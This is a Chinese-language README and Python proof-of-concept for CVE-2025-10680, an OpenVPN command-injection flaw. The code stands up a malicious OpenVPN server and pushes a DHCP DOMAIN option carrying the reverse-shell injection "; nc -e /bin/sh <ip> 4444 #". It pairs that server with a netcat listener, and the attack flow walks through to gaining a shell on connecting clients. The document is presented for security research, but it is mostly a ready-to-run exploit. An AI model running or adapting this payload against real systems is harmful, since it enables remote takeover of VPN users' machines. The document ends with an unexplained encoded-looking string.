项目标题与描述
CVE-2025-10680 PoC - OpenVPN RCE via DNS Script Injection
本项目是一个针对CVE-2025-10680漏洞的完整概念验证(PoC)实现。该漏洞影响OpenVPN 2.7_alpha1至2.7_beta1版本,在POSIX系统(Linux、macOS、BSD)上,当客户端使用--dns-updown参数时,恶意VPN服务器可通过精心构造的DNS/DHCP选项实现shell命令注入,最终导致远程代码执行(RCE)。
核心价值:本工具提供了完整的漏洞复现环境,帮助安全研究人员理解该漏洞的利用原理,并可用于测试网络环境的防护能力。
功能特性
- 完整的漏洞复现:模拟恶意OpenVPN服务器,注入恶意DNS选项
- 自动化配置生成:自动生成包含注入载荷的OpenVPN服务器配置文件
- 反向Shell连接:内置netcat监听器,接收漏洞触发后的反向shell连接
- 优雅的资源管理:包含信号处理和资源清理机制,确保安全退出
- 详细日志输出:实时显示服务器状态和攻击进度
- 证书验证:自动检查客户端证书目录的有效性
独特价值:本项目提供了一个端到端的漏洞利用环境,从服务器配置到反向shell获取,完整展示了CVE-2025-10680的利用链。
安装指南
系统要求
- Python 3.x
- OpenVPN服务器软件
- netcat(nc)工具
- 已配置的EasyRSA证书目录
依赖安装
# 确保系统已安装必要的工具
sudo apt-get update
sudo apt-get install openvpn netcat python3
# 克隆项目或直接下载脚本
git clone <repository-url>
cd CVE-2025-10680-PoC
证书准备
在运行前需要准备OpenVPN服务器证书:
# 使用easy-rsa生成证书
cd /usr/share/easy-rsa
./easyrsa init-pki
./easyrsa build-ca nopass
./easyrsa gen-req server nopass
./easyrsa sign-req server server
./easyrsa gen-dh
使用说明
基本用法
# 使用sudo权限运行,需要指定服务器IP和证书目录
sudo python3 CVE-2025-10680.py --server-ip 192.168.1.100 --client-cert-dir /path/to/ca
参数说明
--server-ip:服务器IP地址,用于接收反向shell连接(必需)--client-cert-dir:EasyRSA输出的证书目录路径(必需)
攻击流程
- 运行PoC脚本,启动恶意OpenVPN服务器
- 脚本会在端口1194启动OpenVPN服务
- 同时在端口4444启动netcat监听器
- 当受影响的客户端连接到该服务器时
- 恶意DNS选项被注入并执行,建立反向shell连接
- 攻击者获得客户端的shell访问权限
预期输出
[+] Server config generated: /tmp/tmp_xxx.conf
[+] Poison payload: dhcp-option DOMAIN '; nc -e /bin/sh 192.168.1.100 4444 #'
[+] OpenVPN server started on UDP 1194 (check: netstat -ulnp | grep 1194)
[+] NC listener ready on 4444. Connect a vulnerable client now! 🎯
核心代码
1. 主漏洞利用类
class OpenVPNExploit:
def __init__(self, server_ip, client_cert_dir):
self.server_ip = server_ip
self.cert_dir = Path(client_cert_dir)
self.server_conf = None
self.ovpn_proc = None
self.nc_proc = None
self.running = True
def signal_handler(self, sig, frame):
"""信号处理函数,确保优雅退出和资源清理"""
print("\n[!] Shutting down... Cleanup time. 💀")
if self.ovpn_proc:
self.ovpn_proc.terminate()
if self.nc_proc:
self.nc_proc.terminate()
if self.server_conf:
os.unlink(self.server_conf)
sys.exit(0)
2. 配置文件生成函数
def generate_server_conf(self):
"""生成包含恶意注入的OpenVPN服务器配置文件"""
fd, conf_path = tempfile.mkstemp(suffix='.conf')
self.server_conf = conf_path
# 关键注入点:通过DOMAIN选项注入shell命令
injection = f"; nc -e /bin/sh {self.server_ip} 4444 #"
conf_content = f"""port 1194
proto udp
dev tun
ca {self.cert_dir / 'pki/ca.crt'}
key {self.cert_dir / 'pki/private/server.key'}
dh {self.cert_dir / 'pki/dh.pem'}
topology subnet
server 10.8.0.0 255.255.255.0
push "redirect-gateway def1"
push "dhcp-option DNS 8.8.8.8"
push "dhcp-option DOMAIN '{injection}'" # 🧨 注入点
keepalive 10 120
cipher AES-256-GCM
persist-key
persist-tun
verb 3
client-cert-not-required # 简化模式,实际使用时可能需要认证
"""
with os.fdopen(fd, 'w') as f:
f.write(conf_content)
print(f"[+] Server config generated: {conf_path}")
print(f"[+] Poison payload: dhcp-option DOMAIN '{injection}'")
return conf_path
3. 服务启动函数
def start_openvpn(self):
"""启动OpenVPN服务器进程"""
conf = self.generate_server_conf()
cmd = ['openvpn', '--config', conf, '--daemon']
self.ovpn_proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
print("[+] OpenVPN server started on UDP 1194 (check: netstat -ulnp | grep 1194)")
time.sleep(2) # 等待进程绑定端口
def start_nc_listener(self):
"""启动netcat监听器,等待反向shell连接"""
cmd = ['nc', '-lvnp', '4444']
self.nc_proc = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
print("[+] NC listener ready on 4444. Connect a vulnerable client now! 🎯")
print("Client cmd: sudo openvpn --config client.conf # With --up /etc/openvpn/dns-updown.sh")
4. 主运行函数
def run(self):
"""主运行函数,协调整个漏洞利用流程"""
# 设置信号处理器,确保Ctrl+C可安全退出
signal.signal(signal.SIGINT, self.signal_handler)
# 启动OpenVPN服务器
self.start_openvpn()
# 启动netcat监听器
self.start_nc_listener()
# 监控进程状态
self.monitor()
5. 参数解析和主程序入口
if __name__ == "__main__":
# 命令行参数解析
parser = argparse.ArgumentParser(description="CVE-2025-10680 PoC Server")
parser.add_argument('--server-ip', required=True, help="Your server IP for reverse shell")
parser.add_argument('--client-cert-dir', required=True, help="Path to easy-rsa output dir (e.g., ~/ca)")
args = parser.parse_args()
# 验证证书目录是否存在
if not Path(args.client_cert_dir).exists():
print(f"[-] Cert dir {args.client_cert_dir} not found! Gen certs first.")
sys.exit(1)
# 创建并运行漏洞利用实例
exploit = OpenVPNExploit(args.server_ip, args.client_cert_dir)
exploit.run()
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAP5T3AJZBm6bgMvJnyXVa72